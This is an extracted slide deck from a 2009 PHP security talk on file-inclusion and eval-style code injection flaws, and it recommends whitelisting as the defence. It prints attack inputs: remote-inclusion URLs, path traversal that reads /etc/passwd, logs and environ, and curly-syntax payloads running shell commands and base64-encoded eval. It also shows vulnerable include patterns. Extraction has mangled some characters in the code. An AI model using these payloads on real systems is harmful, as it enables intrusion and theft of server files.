TRANSCRIPT

Part VIPHP Code Inclusion

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 1

PHP Code Inclusion

PHP supports loading other PHP code include include_once require require_once

Loading possible from les and URL streams include /var/www/includes/function.php; include http://www.example.com/test.php;

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 2

Static PHP Code Inclusion (I)

Static inclusion of les include /var/www/includes/functions.php include topic.php

no security problem because it cannot be inuenced

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 3

Static PHP Code Inclusion (II)

Static inclusion of URL Streams include http://www.example.com/test.php include https://www.example.com/test-ssl.php

URL cannot be inuenced but trusting PHP code from external source attackable on network level potential security problem => should be avoided

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 4

Dynamic PHP Code Inclusion (I)

Dynamc inclusion include $_GET[module]..php include ./modules/. $_GET[module]..php

Path to include can be inuenced Security problem because path can be changed tomalicious PHP code

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 5

Dynamic PHP Code Inclusion - URLs (I)

URL Wrapper allows injection of PHP code include $_GET[module]..php

Possible attacks include http://www.example.com/evilcode.txt?.php; include ftp://ftp.example.com/evilcode.txt?.php; include data:text/plain;.php; include php://input\0.php;

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 6

Dynamic PHP Code Inclusion - URLs (II)

le_exists() is no protection against URL wrappersif (le_exists($_GET[module]..php)) include $_GET[module]..php; }

most URL wrappers do not implement stat() but ftp:// wrapper supports stat() le_exists() check can be bypassed with ftp://

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 7

Dynamic PHP Code Inclusion - Files (I)

local les can be viewed and locally stored PHP codecan be executed include ./modules/. $_GET[module]..php

possible attacks include ./modules/../../../etc/passwd\0.php; include ./modules/../../../var/log/httpd/access.log\0.php; include ./modules/../../../proc/self/environ\0.php; include ./modules/../../../tmp/sess_XXXXXXXX\0.php;

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 8

Dynamic PHP Code Inclusion - Files (II)

protecting include statements should be done withwhitelist approaches include ./modules/$module.php;

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 9

Part VIIPHP Code Evaluation

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 10

PHP Code Evaluation (I)

Code compilation and execution at runtime in PHP eval() create_function() preg_replace() with /e modizierer assert()

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 11

PHP Code Evaluation (II)

potential security problem if user input is evaluated allows execution of arbitrary PHP code should be avoided is usually not required

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 12

eval() (I)

embedding user input always dangerous ltering with blacklists nearly impossible correct escaping is hard - no default functions whitelist approach is recommended

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 13

eval() (II)

Example:

not sufcient secured danger of information leaks through variables index.php?val=$secretVariable

danger of code execution through complex curly syntax index.php?val={${phpinfo()}}

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 14

Complex Curly Syntax

documented but nearly unknown allows code execution within strings only within double quotes $s = foo{${phpinfo()}}bar; $s = foo{${`ls -la /`}}bar; $s = foo{${eval(base64_decode(...))}}bar;

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 15

eval () Whitelist Protection Approach

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 16

create_function()

for temporary / lambda functions internally only an eval() wrapper same injection danger like eval() injection possible in both parameters

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 17

create_function() - Internal Wrapper Function

/* Implementation similar */ function create_function($params, $body) { $name = \0__lambda; $name .= $GLOBALS[lambda_count]++; $str = function $name($params) {$body}; eval($str); } return $name;

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 18

preg_replace() (I)

/e modier allows execution of PHP code to modify thematchespreg_replace(/([0-9]+);/e, chr(\1) $source);

Internally during code construction addslashes() is used$str = chr(; $str .= addslashes($match1); $str .= );; eval($str);

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 19

preg_replace() (II)

potential security problem matches could inject PHP code depends on regular expression depends on position in evaluated code

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 20

Secure Usage of the /e Modier

/e Modier can be used in a secure way by using single quotes in the evaluated code instead ofdouble quotespreg_replace(/(.+);/e, strtolower(\\1) $source);

single quotes do not allow complex curly syntax single quotes will be correctly escaped but best solution is getting rid of evaluated code

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 21

preg_replace_callback()

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 22

Questions ?

Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 June 2009 23